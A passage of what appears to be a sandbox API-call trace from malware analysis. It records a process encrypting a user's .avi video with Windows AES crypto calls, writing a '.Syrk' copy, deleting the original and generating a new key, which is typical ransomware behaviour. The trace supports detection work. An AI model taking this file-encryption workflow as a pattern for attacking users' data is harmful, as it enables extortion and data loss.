RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d100) returned 1 [0257.336] CryptImportKey (in: hProv=0x5c4d100, pbData=0x24a3070*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c999a0) returned 1 [0257.336] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0257.336] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.337] EtwEventActivityIdControl () returned 0x0 [0257.337] EtwEventActivityIdControl () returned 0x0 [0257.337] EtwEventActivityIdControl () returned 0x0 [0257.342] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\ulsd6hewxcm_chkzb.avi")) returned 0x20 [0257.390] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\ulsd6hewxcm_chkzb.avi")) returned 0x20 [0257.391] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0257.391] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi", lpFilePart=0x0) returned 0x2f [0257.391] EtwEventActivityIdControl () returned 0x0 [0257.391] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.392] EtwEventActivityIdControl () returned 0x0 [0257.392] EtwEventActivityIdControl () returned 0x0 [0257.392] EtwEventActivityIdControl () returned 0x0 [0257.393] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0257.393] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi", lpFilePart=0x0) returned 0x2f [0257.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0257.393] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\ulsd6hewxcm_chkzb.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0257.393] GetFileType (hFile=0x364) returned 0x1 [0257.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0257.394] GetFileType (hFile=0x364) returned 0x1 [0257.394] EtwEventActivityIdControl () returned 0x0 [0257.394] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.394] EtwEventActivityIdControl () returned 0x0 [0257.394] EtwEventActivityIdControl () returned 0x0 [0257.394] EtwEventActivityIdControl () returned 0x0 [0257.395] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0257.395] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi.Syrk", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi.Syrk", lpFilePart=0x0) returned 0x34 [0257.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0257.395] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\ulsd6hewxcm_chkzb.avi.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0257.396] GetFileType (hFile=0x368) returned 0x1 [0257.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0257.396] GetFileType (hFile=0x368) returned 0x1 [0257.396] EtwEventActivityIdControl () returned 0x0 [0257.396] CryptGenRandom (in: hProv=0x5c4d100, dwLen=0x10, pbBuffer=0x24b356c | out: pbBuffer=0x24b356c) returned 1 [0257.397] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0257.398] CryptDuplicateKey (in: hKey=0x5c999a0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99a20) returned 1 [0257.398] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0257.398] CryptSetKeyParam (hKey=0x5c99a20, dwParam=0x4, pbData=0x24b48a4*=0x1, dwFlags=0x0) returned 1 [0257.398] CryptSetKeyParam (hKey=0x5c99a20, dwParam=0x1, pbData=0x24b4870, dwFlags=0x0) returned 1 [0257.398] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.398] EtwEventActivityIdControl () returned 0x0 [0257.398] EtwEventActivityIdControl () returned 0x0 [0257.398] EtwEventActivityIdControl () returned 0x0 [0257.399] EtwEventActivityIdControl () returned 0x0 [0257.400] ReadFile (in: hFile=0x364, lpBuffer=0x24b74e0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24b74e0*, lpNumberOfBytesRead=0x5a2e7d8*=0xb1ab, lpOverlapped=0x0) returned 1 [0257.401] CryptEncrypt (in: hKey=0x5c99a20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24cb4f8*, pdwDataLen=0x5a2e7cc*=0xb1a0, dwBufLen=0xb1a0 | out: pbData=0x24cb4f8*, pdwDataLen=0x5a2e7cc*=0xb1a0) returned 1 [0257.402] WriteFile (in: hFile=0x368, lpBuffer=0x24b3654*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24b3654*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0257.403] WriteFile (in: hFile=0x368, lpBuffer=0x24cc4e4*, nNumberOfBytesToWrite=0xa1b4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24cc4e4*, lpNumberOfBytesWritten=0x5a2e7b0*=0xa1b4, lpOverlapped=0x0) returned 1 [0257.404] ReadFile (in: hFile=0x364, lpBuffer=0x24b74e0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24b74e0*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0257.404] CryptEncrypt (in: hKey=0x5c99a20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24d66a4*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24d66a4*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0257.404] CryptEncrypt (in: hKey=0x5c99a20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24d66c0*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x24d66c0*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0257.405] WriteFile (in: hFile=0x368, lpBuffer=0x24b3654*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x24b3654*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0257.405] CloseHandle (hObject=0x368) returned 1 [0257.409] CloseHandle (hObject=0x364) returned 1 [0257.409] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.410] EtwEventActivityIdControl () returned 0x0 [0257.410] EtwEventActivityIdControl () returned 0x0 [0257.410] EtwEventActivityIdControl () returned 0x0 [0257.415] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\ulsd6hewxcm_chkzb.avi")) returned 0x20 [0257.417] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0257.417] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi", lpFilePart=0x0) returned 0x2f [0257.417] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0257.417] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0257.418] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0257.418] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0257.418] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0257.418] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0257.418] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0257.418] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0257.418] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0257.418] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0257.418] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0257.418] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0257.418] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0257.419] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0257.419] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0257.419] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x1a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos", lpFilePart=0x0) returned 0x19 [0257.419] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\ulsd6hewxcm_chkzb.avi")) returned 0x20 [0257.419] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0257.419] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi", lpFilePart=0x0) returned 0x2f [0257.423] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0257.423] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi", lpFilePart=0x0) returned 0x2f [0257.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0257.423] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0257.423] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi", lpFilePart=0x0) returned 0x2f [0257.423] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi\\*" (normalized: "c:\\users\\keecfmwgj\\videos\\ulsd6hewxcm_chkzb.avi\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0257.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0257.423] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0257.423] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0257.423] CoTaskMemFree (pv=0x3b0008) [0257.425] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\ulsd6hewxcm_chkzb.avi")) returned 0x20 [0257.425] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0257.425] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi", lpFilePart=0x0) returned 0x2f [0257.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0257.425] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\ulsd6hewxcm_chkzb.avi"), fInfoLevelId=0x0, lpFileInformation=0x24e1c14 | out: lpFileInformation=0x24e1c14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af56500, ftCreationTime.dwHighDateTime=0x1d99d9c, ftLastAccessTime.dwLowDateTime=0x3ef15880, ftLastAccessTime.dwHighDateTime=0x1d99da1, ftLastWriteTime.dwLowDateTime=0x3ef15880, ftLastWriteTime.dwHighDateTime=0x1d99da1, nFileSizeHigh=0x0, nFileSizeLow=0xb1ab)) returned 1 [0257.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0257.425] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\ulsd6hewxcm_chkzb.avi")) returned 1 [0257.427] EtwEventActivityIdControl () returned 0x0 [0257.427] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.428] EtwEventActivityIdControl () returned 0x0 [0257.428] EtwEventActivityIdControl () returned 0x0 [0257.428] EtwEventActivityIdControl () returned 0x0 [0257.434] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\ulsd6hewxcm_chkzb.avi.syrk")) returned 0x20 [0257.435] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\ulsd6hewxcm_chkzb.avi.syrk")) returned 0x20 [0257.435] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0257.435] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi.Syrk", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi.Syrk", lpFilePart=0x0) returned 0x34 [0257.436] EtwEventActivityIdControl () returned 0x0 [0257.436] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.484] EtwEventActivityIdControl () returned 0x0 [0257.484] EtwEventActivityIdControl () returned 0x0 [0257.484] EtwEventActivityIdControl () returned 0x0 [0257.489] EtwEventActivityIdControl () returned 0x0 [0257.489] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.489] EtwEventActivityIdControl () returned 0x0 [0257.489] EtwEventActivityIdControl () returned 0x0 [0257.489] EtwEventActivityIdControl () returned 0x0 [0257.494] EtwEventActivityIdControl () returned 0x0 [0257.494] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.495] EtwEventActivityIdControl () returned 0x0 [0257.495] EtwEventActivityIdControl () returned 0x0 [0257.495] EtwEventActivityIdControl () returned 0x0 [0257.500] EtwEventActivityIdControl () returned 0x0 [0257.500] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.501] EtwEventActivityIdControl () returned 0x0 [0257.501] EtwEventActivityIdControl () returned 0x0 [0257.501] EtwEventActivityIdControl () returned 0x0 [0257.505] EtwEventActivityIdControl () returned 0x0 [0257.506] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.506] EtwEventActivityIdControl () returned 0x0 [0257.506] EtwEventActivityIdControl () returned 0x0 [0257.506] EtwEventActivityIdControl () returned 0x0 [0257.511] EtwEventActivityIdControl () returned 0x0 [0257.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0257.519] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\uLsd6HEWXCm_CHkZB.avi.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\ulsd6hewxcm_chkzb.avi.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24eb870 | out: lpFileInformation=0x24eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150238f0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x150238f0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x15049a50, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xb1c4)) returned 1 [0257.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0257.520] GetConsoleOutputCP () returned 0x1b5 [0257.553] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0257.553] GetConsoleOutputCP () returned 0x1b5 [0257.553] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0257.553] GetConsoleOutputCP () returned 0x1b5 [0257.553] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.553] GetConsoleOutputCP () returned 0x1b5 [0257.554] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.555] GetConsoleOutputCP () returned 0x1b5 [0257.555] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0257.555] GetConsoleOutputCP () returned 0x1b5 [0257.555] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0257.555] GetConsoleOutputCP () returned 0x1b5 [0257.555] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.555] GetConsoleOutputCP () returned 0x1b5 [0257.555] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.556] GetConsoleOutputCP () returned 0x1b5 [0257.556] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0257.556] GetConsoleOutputCP () returned 0x1b5 [0257.556] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0257.556] GetConsoleOutputCP () returned 0x1b5 [0257.556] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.556] GetConsoleOutputCP () returned 0x1b5 [0257.556] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.557] GetConsoleOutputCP () returned 0x1b5 [0257.557] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0257.557] GetConsoleOutputCP () returned 0x1b5 [0257.557] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0257.557] GetConsoleOutputCP () returned 0x1b5 [0257.557] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.557] GetConsoleOutputCP () returned 0x1b5 [0257.557] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.557] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0257.558] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0257.558] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x25054e8*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x25054e8*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0257.559] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0257.559] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0257.624] EtwEventActivityIdControl () returned 0x0 [0257.624] EtwEventActivityIdControl () returned 0x0 [0257.625] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.625] EtwEventActivityIdControl () returned 0x0 [0257.625] EtwEventActivityIdControl () returned 0x0 [0257.625] EtwEventActivityIdControl () returned 0x0 [0257.627] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.628] EtwEventActivityIdControl () returned 0x0 [0257.628] EtwEventActivityIdControl () returned 0x0 [0257.628] EtwEventActivityIdControl () returned 0x0 [0257.630] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d3a8) returned 1 [0257.631] CryptGenKey (in: hProv=0x5c4d3a8, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99ae0) returned 1 [0257.631] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0257.631] CryptExportKey (in: hKey=0x5c99ae0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0257.631] CryptExportKey (in: hKey=0x5c99ae0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x250cec0, pdwDataLen=0x5a2e8c4 | out: pbData=0x250cec0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0257.631] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.632] EtwEventActivityIdControl () returned 0x0 [0257.632] EtwEventActivityIdControl () returned 0x0 [0257.632] EtwEventActivityIdControl () returned 0x0 [0257.632] SysStringLen (param_1="") returned 0x8 [0257.633] SysStringLen (param_1="N") returned 0x8 [0257.633] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 